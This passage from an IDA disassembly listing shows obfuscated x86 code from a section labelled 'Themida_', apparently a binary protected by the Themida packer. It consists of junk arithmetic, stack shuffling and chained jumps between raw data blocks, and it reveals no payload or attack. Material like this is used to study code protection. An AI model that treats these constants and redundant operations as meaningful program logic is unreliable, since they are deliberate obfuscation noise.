		dd 5A56626Dh, 3A01CA81h, 0EA81495Bh, 443C7C9Ch,	0E95AD689h
		dd 0FFFFA9AAh, 7D659735h, 29C7815Bh, 13F5329h, 29EF81C7h
		dd 0FF3F5329h, 48B2434h, 4C48124h, 83000000h, 0BE904C4h
		dd 89FFFFF3h, 68532414h, 46EB3F1Eh, 83241C8Bh, 0EBC104C4h
		dd 0E9DBF705h, 939Ah, 0A529E951h, 3C33FFFFh, 0EC835C24h
		dd 241C8904h, 972BE9h
		db 0
; ---------------------------------------------------------------------------


loc_567B29:				; CODE XREF: Themida_:0056D20Ej
		push	ebx
		jmp	loc_56E44D
; ---------------------------------------------------------------------------
		db 89h
		dd 0FE315DEFh, 5EF1215Fh, 5E4FE181h, 0E9814ACCh, 0FCF1A761h
		dd 4AC7C381h, 0CB0176A6h, 4AC7EB81h, 815976A6h,	0B14E00C3h
		dd 51C3292Dh, 0BC439AB9h, 0BB53507Eh, 733541ACh, 0E95BD889h
		dd 0FFFFB5FAh, 0FF842AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567B75:				; CODE XREF: Themida_:00567859j
		add	ecx, esi
		pop	esi
		push	7DA6h
		mov	[esp], ebp
		mov	ebp, 555B1FA0h
		add	ebp, 30200055h
		and	ebp, 10845C2Ah
		jmp	loc_565818
; ---------------------------------------------------------------------------
		dw 8851h
		dd 0EE8852D5h, 595AF388h, 0ACE95A66h, 8B000085h, 0C481243Ch
		dd 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_566A9E
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0FF685324h, 5B6A4D10h, 0E5D5EB81h, 0DE893E55h, 57241C8Bh
		dd 92E9E789h, 50000B3h,	682F4722h, 0F2E3E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567BE6:				; CODE XREF: Themida_:005654FDj
		mov	[esp], eax
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_57486F
; ---------------------------------------------------------------------------


loc_567C36:				; CODE XREF: Themida_:005630C9j
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_568A79
; ---------------------------------------------------------------------------


loc_567C45:				; CODE XREF: Themida_:0056CE1Aj
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		sub	ecx, 20F30807h
		jmp	loc_563C27
; ---------------------------------------------------------------------------
dword_567C58	dd 240C8B66h, 4EC8350h,	24048F54h, 4240483h, 29BD5558h
					; DATA XREF: Themida_:0055FEACo
		dd 0D158F570h, 0BA0EE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567C76:				; CODE XREF: Themida_:0056B001j
		push	eax
		push	ebx
		mov	ebx, 38E22D7Fh
		mov	eax, ebx
		pop	ebx
		sub	eax, 38063BB8h
		not	eax
		add	eax, 409F774Fh
		jmp	loc_5699BF
; ---------------------------------------------------------------------------


loc_567C91:				; CODE XREF: Themida_:0056019Dj
		push	ecx
		mov	cl, 0F3h
		sub	cl, 8Bh
		mov	dl, cl
		jmp	loc_570F8D
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 81EFD105h, 70DAA6EFh, 5FFA8900h, 335AD501h, 26E9242Ch
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567CB7:				; CODE XREF: Themida_:0056EA15j
		mov	[esp], ebp
		push	6597h
		jmp	loc_5674AF
; ---------------------------------------------------------------------------
dword_567CC4	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF82CBh
					; DATA XREF: Themida_:0055FE60o
; ---------------------------------------------------------------------------


loc_567CD4:				; CODE XREF: Themida_:00574717j
		sub	ecx, 65495C14h
		sub	ecx, 1
		xor	ecx, 408F7013h
		jmp	loc_56DDA3
; ---------------------------------------------------------------------------


loc_567CE8:				; CODE XREF: Themida_:00564E92j
		add	ebp, edi
		pop	edi
		push	3BF0h
		jmp	loc_5664C7
; ---------------------------------------------------------------------------
byte_567CF5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FE4Co
		dd 0B704E924h
		db 2 dup(0FFh)
word_567CFE	dw 5155h		; DATA XREF: Themida_:0055FDD8o
		dd 32CF6857h, 3C8B4178h, 4C48324h, 32E7BA52h, 48E9365Dh
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567D17:				; CODE XREF: Themida_:0056F012j
		add	ebp, 864A5A56h
		mov	edx, ebp
		jmp	loc_562FB3
; ---------------------------------------------------------------------------
		dd 0F87FABB8h, 4E8C10Bh, 0C1D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_567D31:				; CODE XREF: Themida_:00562586j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_570051
; ---------------------------------------------------------------------------


loc_567D42:				; CODE XREF: Themida_:0057324Dj
		push	dword ptr [esp]
		jmp	loc_57072C
; ---------------------------------------------------------------------------
		dw 0F309h
		dd 4EC835Eh, 57CEE9h, 0E9EE3100h, 8E96h
; ---------------------------------------------------------------------------


loc_567D5C:				; CODE XREF: Themida_:005744A4j
		mov	eax, 657031Eh
		jmp	loc_572C33
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 271EE105h, 1EDE96Ah
		db 2 dup(0)
word_567D72	dw 0E468h		; DATA XREF: Themida_:0055FE70o
		dd 8900000Dh, 0F8882404h, 4247C8Ah, 4244488h, 0E92434FFh
		dd 43CCh, 2D5BD801h, 58C87DF9h,	0F905D801h, 0E958C87Dh
		dd 0FFFFBA33h, 83243C8Bh, 0BD5504C4h, 4, 0FFF7E7E9h, 48B66FFh
		dd 6B236824h, 4890000h,	5E08924h, 4, 55A768h, 242C8900h
		dd 0CC7A1DBDh, 56D5F75Fh, 20201368h, 0F5315E7Dh, 0D5F74D5Eh
		dd 0B850EDD1h, 60464883h, 1076CF0Dh, 0B6689675h, 8900007Dh
		dd 6DE92434h, 0C1000025h, 0C78106EFh, 57BC18F7h, 0E95FFB29h
		dd 0B53Dh, 41665B66h, 43BF6657h, 0A9C2E965h, 0E95B0000h
		dd 0C6DCh, 334A68h, 37E3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567E2A:				; CODE XREF: Themida_:0057290Aj
		or	edx, eax
		jmp	loc_563FB4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 42D0000h, 50000000h,	42474FFh, 24048F58h, 2579E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567E4A:				; CODE XREF: Themida_:00565635j
		mov	[esp], eax
		mov	eax, 0DF5461FBh
		sub	ebp, eax
		pop	eax
		add	edx, ebp
		pop	ebp
		pop	ebx
		and	eax, edx
		pop	edx
		shr	eax, 12h
		jmp	loc_56C098
; ---------------------------------------------------------------------------
		dd 0DDC280h, 0DDEA80C2h, 24048B66h, 402C483h, 142C67h
		dd 0E91404D0h, 8115h
; ---------------------------------------------------------------------------


loc_567E80:				; CODE XREF: Themida_:0056AC02j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5636B3
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2C442DD8h, 0E957A2EDh, 0FFFFB928h, 4BEh, 0A4A7E900h
		dd 13B90000h, 0E90FCE36h, 421Ch
; ---------------------------------------------------------------------------


loc_567EAC:				; CODE XREF: Themida_:0056DE9Dj
		push	eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		mov	[edi+eax*4+1], dh
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		dd 69C4C281h, 0DA015DDFh, 89B8E9h, 81D7F600h, 2ECh, 14896600h
		dd 578F6824h, 1C890000h, 504DB724h, 0EC83FC88h,	0CC37E904h
		dd 3C8BFFFFh, 4C48324h,	0E9240C8Bh, 1D9Bh, 1B9B951h, 0A1E96DDFh
		dd 8100005Ch, 4ECh, 24148900h, 1E95A54h, 89FFFFFFh, 5266240Ch
		dd 0D022B151h, 62E980E9h, 8859CA88h, 72C5E9D5h,	0F75A0000h
		dd 0DCF181D1h, 0E9719209h, 62ACh, 68241C89h, 6403h, 0BE243489h
		dd 3EA866BFh, 0C15EF389h, 67E902E3h, 8BFFFFF6h,	0D6E9242Ch
		dd 89FFFF93h, 3DE92414h
		db 1, 2	dup(0)
byte_567F6F	db 0F7h			; DATA XREF: Themida_:0055FE98o
		dd 0E99C241Ch, 0FFFFDE3Fh, 0F75EF331h, 0E4F381D3h, 29D3AEDDh
		dd 29685BDEh, 8900003Bh, 59BA2414h, 51BE396Bh, 6AF2BA52h
		dd 2AB92092h, 0E9289274h, 0FFFF9F35h
; ---------------------------------------------------------------------------


loc_567FA4:				; CODE XREF: Themida_:00568072j
		shl	edx, 4
		jmp	loc_56BE87
; ---------------------------------------------------------------------------


loc_567FAC:				; CODE XREF: Themida_:005640E6j
		push	341Bh
		jmp	loc_569215
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C2h, 4C28100h, 87000000h, 248B2414h, 24048F24h, 6424248Bh
		dd 0E9028966h, 0FFFF8255h, 4C481h, 89530000h, 4C381E3h
		dd 81000000h, 4EBh, 0AAEEE900h,	1C8BFFFFh, 0E7895724h
		dd 7AF68h, 0BD5EE900h, 4810000h, 424h, 24348B00h, 0FFE017E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568011:				; CODE XREF: Themida_:00561552j
		push	0
		sub	dword ptr [esp], 6CCF6FA2h
		sub	[esp], ecx
		add	dword ptr [esp], 6CCF6FA2h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56FAF7
; ---------------------------------------------------------------------------
		dw 44BAh
		dd 5753826Eh, 0D011E9h,	18C16800h, 34890000h, 17236824h
		dd 24890000h, 24048324h, 0C6815E04h, 4,	0DAE95352h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_568063:				; CODE XREF: Themida_:0057292Bj
		pop	edx
		push	edx
		mov	edx, 3DC63CAh
		add	edx, 39D85D65h
		not	edx
		jmp	loc_567FA4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF7F23h, 2C71F780h, 81D52C75h, 4ECh, 0C6E6E900h
		dd 48B0000h, 4C48124h, 81000000h, 332EE5E1h, 50D1F75Eh
		dd 5E4776B8h, 0E9C1014Bh, 208Ch, 33E95A55h, 0B600006Fh
		dd 0DFE951C9h, 52FFFFE2h, 0FE17BEBAh, 198DBB2Eh, 0D3011D6Dh
		dd 61F3815Ah, 15E7164h,	241C8BDFh, 4C481h, 0EF010000h
		dd 552AEF81h, 335D121Ah, 3C31243Ch, 243C3324h, 0EE9CE95Ch
		db 2 dup(0FFh)
word_5680F2	dw 8B66h		; DATA XREF: Themida_:0055FEE4o
		dd 0A1E92404h
		db 0A1h, 2 dup(0)
a131Hgb		db '1,$3,$1,$h£B',0     ; DATA XREF: Themida_:0055FE6Co
		dd 242C8900h, 7175E9h, 0BF575C00h, 4, 7267C681h, 0C6811C92h
		dd 45F84011h, 0FDE9FE01h, 0BDFFFFA2h, 4, 14ACE981h, 0E9014E3Eh
		dd 14ACC181h, 2C8B4E3Eh, 0A95AE924h, 72680000h,	5D544A11h
		dd 0B850D5F7h, 0FE96AA4Ch, 6D36E9h, 242C3100h, 31242C33h
		dd 38E9242Ch, 21FFFF7Eh, 242C8BE8h, 5E08950h, 4, 8704C083h
		dd 0FF5C2404h, 34FF1C77h, 8685924h, 89000030h, 0E2892414h
		dd 2EDCBB53h, 0EBD13B95h, 0C381E3D1h, 2A396C85h, 4A0E381h
		dd 0F3813276h, 20460024h, 0FF93B9E9h, 240C8BFFh, 0B104C483h
		dd 0C7E98045h, 0FFC870E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5681BD:				; CODE XREF: Themida_:00573CC8j
		mov	[esp], bx
		mov	bh, 0BAh
		jmp	loc_56A46B
; ---------------------------------------------------------------------------
		dd 8F04C483h, 0E95C2404h, 0B980h, 0C681E689h, 4, 86685355h
		dd 8B312C06h, 8956241Ch, 4C681E6h, 53000000h, 8041E9h
		db 0
; ---------------------------------------------------------------------------


loc_5681F5:				; CODE XREF: Themida_:0056B3DBj
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0BF91C3Ch
		jmp	loc_56B32A
; ---------------------------------------------------------------------------
		dw 1E05h
		dd 6857DC0Ch, 401Ah, 0BA241489h, 10CE33FCh, 0FFFFBD55h
		dd 0EA29FFFFh, 63F2815Dh, 51145220h, 0E75BB53h,	85B935C5h
		dd 1326853h, 9A685BD9h,	89000013h, 22BE2434h, 291A9558h
		dd 24348BF0h, 4C481h, 0C8290000h, 0C188E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568256:				; CODE XREF: Themida_:00573A56j
		pop	edi
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, esi
		pop	esi
		shl	ebp, 5
		jmp	loc_5697B4
; ---------------------------------------------------------------------------
aSS4		db 'Áé',8,'é 4',0
		db 0
; ---------------------------------------------------------------------------


loc_568275:				; CODE XREF: Themida_:005739DDj
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_567A18
; ---------------------------------------------------------------------------


loc_568292:				; CODE XREF: Themida_:00562E93j
		push	eax
		jmp	loc_56CC73
; ---------------------------------------------------------------------------
dword_568298	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF7CF7h, 74F568h
					; DATA XREF: Themida_:0055FCD0o
		dd 24348900h, 55EAB850h, 0E8C14A06h, 0D0F74003h, 87BFB42Dh
		dd 0E9C689AEh, 7E08h
; ---------------------------------------------------------------------------


loc_5682C8:				; CODE XREF: Themida_:005753D2j
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56EA81
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 1Fh
		dd 68780C0Ch, 7964h, 0FFAE05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5682F5:				; CODE XREF: Themida_:00560E79j
		shl	esi, 2
		push	ebx
		jmp	loc_56C561
; ---------------------------------------------------------------------------
		dw 148Bh
aSm		db '$é¬',0Ah,0
		align 2
a_rs		db '_Ré',9,'Ï',0
		db 0
; ---------------------------------------------------------------------------


loc_56830D:				; CODE XREF: Themida_:0056C5ECj
		and	esi, 55663864h
		shl	esi, 2
		push	44ECh
		jmp	loc_571C68
; ---------------------------------------------------------------------------
		dd 83241C8Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 59646C4Fh
		jmp	loc_573A36
; ---------------------------------------------------------------------------
		dd 3F3DBF57h, 0E78144C6h, 25592CFFh, 6746E781h,	814779D4h
		dd 0D47DBECFh, 97EF8142h, 29F1F107h, 0D8295FF8h, 0E3762805h
		dd 0B88AE950h, 0C4810000h, 4, 0C79DE9h,	2C815900h, 826E4424h
		dd 0D0B95153h, 29097E26h, 5904244Ch, 47240481h,	514D4903h
		dd 1898E9h, 12BE5600h, 2145A228h, 2434FFF1h, 4C4815Eh
		dd 68000000h, 6C5Fh, 0BE243489h, 6D6F28DCh, 4EC81h, 3C890000h
		dd 99BD5524h, 0E97AEA4Ah, 0FFFFF76Fh, 4EC81h, 14890000h
		dd 5BE95424h, 51FFFFF2h, 0FFBBE9E9h, 0E18951FFh, 0FF8131E9h
		dd 241C8BFFh, 8104C483h, 4C3h, 0BA525500h, 64A137E0h, 2D41CFBDh
		dd 5AD501E4h, 79ABF581h, 0EB8148CEh, 0C26105h, 0C381EB01h
		dd 0C26105h, 241C335Dh,	33241C31h, 0E95C241Ch, 690h, 0E904EC83h
		dd 2C1h, 2C481h, 0EC830000h, 241C8904h,	88B6B450h, 0AC3DE9E3h
		dd 0C8BFFFFh, 4C48124h,	0E9000000h, 6718h, 7AD2E957h, 34FF0000h
		dd 0C4835F24h, 0AB6CE904h, 5652FFFFh, 537A5CBEh, 0A23BE924h
		dd 0D9BE0000h, 8150423Dh, 8838ECEEh, 0DEF7461Ch, 441DC681h
		dd 0F6813F12h, 4BD95EACh, 15EF529h, 83C581C5h, 0FF408161h
		dd 53582434h, 0C381E389h, 4, 4EC81h, 0C890000h,	3656E924h
		db 2 dup(0)
off_5684A6	dd offset dword_554F64+4 ; DATA	XREF: Themida_:0055FF3Co
		dw 0E900h
		dd 0FFFF8C3Dh, 8ABE564Ah, 814A4061h, 540B9CF6h,	5EF231F9h
		dd 15AD001h, 0C165E9C1h, 0D687FFFFh, 3FF2BB53h,	0E381471Ah
		dd 47DF405Eh, 45C7F381h, 2E96A7Bh, 89FFFFFEh, 4C581E5h
		dd 81000000h, 4C5h, 242C3300h, 0E9242C31h, 2EF3h, 72DFC281h
		dd 0EAC1475Eh, 0FFA6E903h, 148BFFFFh, 0E7895724h, 4C781h
		dd 0B9510000h, 4, 8759CF01h, 875C243Ch,	248B243Ch, 48B6624h
		dd 0A1F6824h, 21E90000h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568537:				; CODE XREF: Themida_:00565664j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56FAAE
; ---------------------------------------------------------------------------
		dd 14243481h, 5D667600h, 14F581h, 13E96676h, 8B0000BAh
		dd 0C4832434h, 8BC32904h, 0C4812404h, 4, 274BE9h, 55C82900h
		dd 85596DBDh, 5DE82975h, 592434FFh, 5104C483h, 0FFAB41E9h
		dd 0E0BD55FFh, 13B0A01h, 0F7015DEEh, 2233E95Eh,	148B0000h
		dd 4C48124h, 33000000h,	3C31243Ch, 79A7E924h, 0EC810000h
		dd 4, 0E9243489h, 0FFFFB3CFh, 0C281E289h, 4, 8704C283h
		dd 248B2414h, 0E9D70124h, 0FFFF99FBh, 34FFF531h, 4E8DE924h
		dd 0FF680000h, 0E900007Ch, 3E2Ah
; ---------------------------------------------------------------------------


loc_5685EC:				; CODE XREF: Themida_:00565DFEj
		mov	eax, 2FFD2FD6h
		and	eax, 28DE4486h
		not	eax
		sub	eax, 50D864B1h
		sub	eax, 3D08216Fh
		push	edi
		mov	edi, 4E4C40DCh
		dec	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 17E241D3h
		xor	esi, 555353FEh
		jmp	loc_562D30
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E9241C87h, 5974h
; ---------------------------------------------------------------------------


loc_568630:				; CODE XREF: Themida_:005664BCj
		mov	ebp, edi
		pop	edi
		push	edi
		mov	edi, 6AE13A1Ch
		sub	edi, 0E0F2FC2h
		mov	edx, edi
		jmp	loc_5716BF
; ---------------------------------------------------------------------------
		dw 8853h
		dd 0FC8850EFh, 5B58E288h, 0E9240C8Bh, 0FFFFF4BCh
dword_568658	dd 0FF2434FFh, 34FF2434h, 0C4815A24h, 4, 79ABE957h, 3C8B0000h
					; DATA XREF: Themida_:0055FDC8o
		dd 4C48124h, 0E9000000h, 87DCh
; ---------------------------------------------------------------------------


loc_56867C:				; CODE XREF: Themida_:0056E678j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_571B6B
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 5158C301h, 50C5E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5686BE:				; CODE XREF: Themida_:00570A02j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		push	0BC12998h
		jmp	loc_56CAAA
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4BD55h, 58550000h, 86EA815Dh, 29313A6Ch, 86C281C2h
		dd 58313A6Ch, 2474FF52h, 48F5A04h, 24248B24h, 89240C89h
		dd 0B271E9E1h, 0C6810000h, 4, 8704C683h, 835C2434h, 348904ECh
		dd 4EC8124h, 89000000h,	0DDE9241Ch, 830000ACh, 2C8904ECh
		dd 4BD24h, 0E8010000h, 5EE9515Dh, 1FFFFA6h, 240C8BCDh
		dd 4C481h, 0FF550000h, 5D042474h, 0E924048Fh, 0FFFFDA4Ah
dword_568764	dd 24048B66h, 34FF5451h, 2434FF24h, 7CD8E959h
					; DATA XREF: Themida_:0055FD98o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568776:				; CODE XREF: Themida_:00571CCCj
		push	0EE4h
		jmp	loc_563B6C
; ---------------------------------------------------------------------------
		dd 9301C383h, 0D0E3E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56878A:				; CODE XREF: Themida_:00573D02j
		add	edi, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_568B2A
; ---------------------------------------------------------------------------


loc_5687A3:				; CODE XREF: Themida_:00560C4Fj
		sub	esp, 4
		jmp	loc_56FCA0
; ---------------------------------------------------------------------------
		db 81h
		dd 2B3F24F2h, 0DC38132h, 0E93E5266h, 0B62Dh, 0F381DBF7h
		dd 0BED09408h, 3BE9DE01h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5687CB:				; CODE XREF: Themida_:0056E33Cj
		sub	edx, 4C1F71AEh
		add	edx, 0A33AAF71h
		sub	ebx, edx
		pop	edx
		pop	ebp
		jmp	loc_565464
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704C283h, 815C2414h,	4C3h, 2BE95500h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5687FB:				; CODE XREF: Themida_:00571870j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		jmp	loc_56A690
; ---------------------------------------------------------------------------


loc_568808:				; CODE XREF: Themida_:0056F281j
		pop	ebp
		jmp	loc_56D428
; ---------------------------------------------------------------------------


loc_56880E:				; CODE XREF: Themida_:005655F4j
		mov	edx, [esp]
		jmp	loc_568AF0
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 42352928h, 72D7EA81h, 0D0313183h, 0FFD072E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568829:				; CODE XREF: Themida_:005721F2j
		add	ebp, esi
		pop	esi
		sub	ebp, 62B828A1h
		or	ebp, 1D09135Eh
		jmp	loc_564113
; ---------------------------------------------------------------------------
		db 0BBh, 96h, 68h
		dd 0CB81616Fh, 42224A1Fh, 54B8F381h, 0AE907A9h,	5DFFFFE2h
		dd 4E9E9h
		db 0
byte_568859	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FDF0o
aHwi		db '$hwi',0
		align 2
		dw 4DE9h
		dd 3100000Ch, 168B68C3h, 1C890000h, 6930BB24h, 95682231h
		dd 89000051h, 0EC81243Ch, 4, 0E9241C89h, 905Ah
; ---------------------------------------------------------------------------


loc_56888C:				; CODE XREF: Themida_:00568F0Bj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5659A1
; ---------------------------------------------------------------------------
		dd 0F664F580h, 0C1ED80D5h, 30C5E9h, 0C7815E00h,	5D9A5487h
		dd 0FF8464E9h, 0D7E95BFFh, 81FFFFF2h, 0BF40D8E9h, 59CD31AAh
		dd 59E9E801h, 5000006Ch, 42474FFh, 0FFE540E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5688D9:				; CODE XREF: Themida_:00568E94j
		sub	ebx, 17E7F0D4h
		add	ebp, ebx
		pop	ebx
		jmp	loc_570442
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF243489h, 8B042474h, 0DE92434h, 590000A2h,	81ACE9h
		dd 24143300h, 33241431h, 248B2414h, 48B6624h, 85C6824h
		dd 2C890000h, 109FE924h, 0D8310000h, 0E272E95Bh, 2D5EFFFFh
		dd 2CD30CF6h, 0D715BA05h, 0B194E936h, 0F74A0000h, 81D2F7D2h
		dd 0DE10FFE2h, 81D2F716h, 49C2h, 0E9D60114h, 0FFFF78B7h
		dd 405h, 27FCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568956:				; CODE XREF: Themida_:0056E963j
		add	ebx, eax
		jmp	loc_562663
; ---------------------------------------------------------------------------
		db 0BAh, 0, 3
		dd 0DAF71B64h, 6C1FE281h, 814260F5h, 39634FCAh,	0B5C28131h
		dd 18E4690h, 0C937E9D5h, 0C483FFFFh, 1C6F0904h,	0FF7E7BE9h
		dd 0B22CFFh, 87E9E9C8h,	35B20000h, 0C059EA00h, 5EE908E2h
		dd 81FFFF9Fh, 7C181BF2h, 6CF28102h, 1EFC211h, 81565AD6h
		dd 1F362404h, 7FE9434Ch
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5689BB:				; CODE XREF: Themida_:0056A9FDj
		xor	bl, ah
		jmp	loc_56D170
; ---------------------------------------------------------------------------
		dw 8359h
		dd 0EC8304C4h, 24348904h, 22DAE9h, 24043300h, 0C197E9h
		dd 2474FF00h, 48F5A04h,	48F5C24h, 24248B24h, 2424D366h
		dd 75ADE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5689F2:				; CODE XREF: Themida_:00562296j
		pop	ecx
		add	al, 1Dh
		push	edx
		mov	dl, 0BBh
		sub	al, dl
		pop	edx
		add	al, 0ECh
		sub	al, dh
		sub	al, 0ECh
		add	al, 0BBh
		sub	al, 1Dh
		mov	dx, [esp]
		jmp	loc_571B05
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 25252E9h, 0E9C12901h, 0FFFFD455h, 9C240CFFh,	0FF7619E9h
		dd 78E958FFh, 54000006h, 4C18159h, 81000000h, 4E9h, 74FF5100h
		dd 8F590424h, 895C2404h, 7BB22414h, 808CEA80h, 0B05053C2h
		dd 58C22034h, 50DC68h, 86FCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A5E:				; CODE XREF: Themida_:0056F37Aj
		mov	esi, 0CA00DA53h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ecx, esi
		push	ecx
		xchg	ecx, [esp]
		jmp	loc_5754AD
; ---------------------------------------------------------------------------


loc_568A79:				; CODE XREF: Themida_:00567C40j
		push	3E97h
		mov	[esp], ebx
		jmp	loc_5633A2
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2404FF24h, 685FE9h, 6167BE00h, 0DDE91A0Fh, 68FFFFF4h
		dd 495Ch, 0F7240C89h, 0E959241Ch, 0FFFFC2F1h, 0FF74EEE9h
		dd 4797BAFFh, 0D5290363h, 8324148Bh, 215E04C4h,	2C8B1C6Fh
		dd 4C48324h, 6AE5E9h, 68E38900h, 9FAh, 844CE9h,	3F286800h
		dd 25582D3Ch, 6E86C61h,	52AFA05h, 0E9C6890Ch, 0FFFF962Ch
; ---------------------------------------------------------------------------


loc_568AF0:				; CODE XREF: Themida_:00568811j
		add	esp, 4
		jmp	loc_567310
; ---------------------------------------------------------------------------
		dd 0C056C480h, 0F48002ECh, 4356E95Ch, 88510000h, 0E9E888D5h
		dd 9881h
; ---------------------------------------------------------------------------


loc_568B10:				; CODE XREF: Themida_:005718E1j
		or	esi, 2C8449C6h
		xor	esi, 8785DE6Fh
		add	ebx, esi
		pop	esi
		push	ebx
		jmp	loc_573252
; ---------------------------------------------------------------------------
		db 0E9h, 75h, 74h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B2A:				; CODE XREF: Themida_:0056879Ej
		pop	esp
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_56A248
; ---------------------------------------------------------------------------


loc_568B35:				; CODE XREF: Themida_:00569AB9j
		shl	ebp, 7
		xor	ebp, 1AD92B5Fh
		sub	ebp, 0C6C88632h
		mov	ecx, ebp
		jmp	loc_56B708
; ---------------------------------------------------------------------------


loc_568B4B:				; CODE XREF: Themida_:00571432j
		mov	esi, 1
		jmp	loc_570FB7
; ---------------------------------------------------------------------------
		db 0E9h, 45h, 74h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B5A:				; CODE XREF: Themida_:0057336Aj
		mov	[esp], ebx
		mov	ebx, 61C90BCCh
		push	3E07549Bh
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56E840
; ---------------------------------------------------------------------------
		dd 9C240428h, 0FF7426E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568B79:				; CODE XREF: Themida_:0056E686j
		add	esp, 4
		sub	ecx, 332B3CCAh
		jmp	loc_56FD47
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0B0E5F781h, 60E9E809h, 68FFFF78h, 4AA3h, 0BF243C89h
